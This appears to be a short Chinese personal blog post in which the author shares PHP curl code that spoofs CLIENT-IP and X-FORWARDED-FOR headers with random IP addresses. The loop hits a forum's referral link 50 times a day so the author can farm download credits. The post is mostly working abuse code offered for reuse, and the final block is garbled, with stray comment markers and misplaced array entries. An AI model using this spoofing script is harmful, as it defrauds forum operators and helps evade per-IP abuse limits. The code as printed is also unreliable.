php伪造ip刷论坛下载豆

     晚上跑完步回来突然有种刷论坛下载豆的冲动,于是立马百度了一下php伪造ip的代码,因为那个论坛本身也是用php做的,而且那些访问推广...你懂的→_→。最后找到这个代码:

<?php 
$ch = curl_init(); 
$url = "http://localhost/target_ip.php"; 
$header = array( 
‘CLIENT-IP:58.68.44.61‘, 
‘X-FORWARDED-FOR:58.68.44.61‘, 
); 
curl_setopt($ch, CURLOPT_URL, $url); 
curl_setopt($ch, CURLOPT_HTTPHEADER, $header); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); 
$page_content = curl_exec($ch); 
curl_close($ch); 
echo $page_content; 
?> 

 

把url换成论坛的推广链接即可,但问题来了,这个ip只能访问一次,而访问推广周期还有不少,这时就要伪造ip了,而这论坛竟然任意ip都能访问,真是醉了.....

function get_ip(){
$key="";
for($i=0;$i<4;$i++){

if($i==3){
$key.=rand(0,255);
}
else{
$key.=rand(0,255).".";
}
}
return $key;
}

写了个产生ip的函数,然后直接调用即可。完整代码如下:

<?php
set_time_limit(0);     
$num=0;
while($num<50){     //这个循环次数是因为论坛规定每天只能推广50次
$ch = curl_init();
$url = "http://XXXXXXXX=552043";
$header[‘X-FORWARDED-FOR‘]=get_ip();*/
$s=get_ip();
$header = array(                          //因为本人是个php小白,所以犯了个低级错误,一开始把$header写成:$header = array(‘CLIENT-IP‘=>$s,
‘CLIENT-IP‘.":".$s,                                                                                                   ‘X-FORWARDED-FOR‘=>$s);
‘X-FORWARDED-FOR‘.":".$s,            结果可想而知........
);

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$page_content = curl_exec($ch);
curl_close($ch);
$num++;
}

function get_ip(){
$key="";
for($i=0;$i<4;$i++){

if($i==3){
$key.=rand(0,255);
}
else{
$key.=rand(0,255).".";
}
}
return $key;
}

?>

个人的第一篇博客,写得很粗糙,惭愧惭愧........(仅记录个人学习经历.....)

 

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。